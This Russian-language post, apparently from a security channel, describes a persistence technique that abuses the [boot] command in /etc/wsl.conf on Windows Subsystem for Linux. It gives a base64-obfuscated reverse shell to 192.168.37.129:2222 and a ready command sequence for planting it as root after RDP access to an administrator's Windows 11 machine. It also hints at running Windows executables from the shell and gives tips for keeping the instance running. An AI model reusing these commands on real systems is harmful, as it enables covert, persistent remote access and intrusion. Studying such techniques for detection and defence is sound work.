🔵 Копаясь в документации Microsoft по подсистеме WSL (Windows Subsystem for Linux), нашёл интересный механизм закрепления. В каждом инстансе можно создать файл
/etc/wsl.conf и в секции [boot] указать для параметра command команду, которая будет выполняться с правами root при каждом его запуске. Пример содержимого файла
/etc/wsl.conf (запуск обратной оболочки):[boot]
command=echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjM3LjEyOS8yMjIyIDA+JjE= | base64 -d | /bin/bash
🔴 Представим сценарий, в котором атакующий удалённо подключился по протоколу RDP к рабочей станции ИТ-администратора под управлением ОС Windows 11, на которой включен WSL2 и настроен Linux-дистрибутив.
Цель злоумышленника — закрепиться в системе через файл
/etc/wsl.conf.Команды (
cmd.exe, powershell.exe; запуск без прав Администратора):wsl -l -v
wsl -u root -d <distro_name> --exec bash -c "echo -e '[boot]\ncommand=echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjM3LjEyOS8yMjIyIDA+JjE= | base64 -d | /bin/bash' > /etc/wsl.conf"
Пссс... После получения обратной оболочки... Напоминаю: из WSL по умолчанию можно запускать исполняемые файлы Windows.
🔵 Дополнительные моменты:
➖После внесения изменений в конфигурационный файл
/etc/wsl.conf, полезная нагрузка, указанная в command, выполнится при следующем запуске инстанса WSL. Некоторые нюансы работы экземпляра WSL:*️⃣в сборке 18267 Microsoft добавили механизм таймаута завершения работы инстанса WSL, и он по умолчанию установлен на 15 секунд. Это означает, что экземпляр будет остановлен через 15 секунд после завершения последнего процесса WSL;
*️⃣если под процессом
/init (PID 2) в WSL запущен хотя бы один пользовательский процесс (например, в фоновом режиме), то экземпляр WSL не будет завершён (ссылка);Пример:
nohup python3 -m http.server 8000 &
*️⃣для того, чтобы принудительно завершить работу определённого дистрибутива или всех сразу, можно использовать эти команды:
wsl -t <distro_name>
wsl --shutdown